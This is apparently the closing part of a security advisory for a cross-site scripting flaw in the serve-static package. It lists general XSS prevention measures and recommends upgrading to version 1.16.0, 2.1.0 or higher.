- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serve-static to version 1.16.0, 2.1.0 or higher.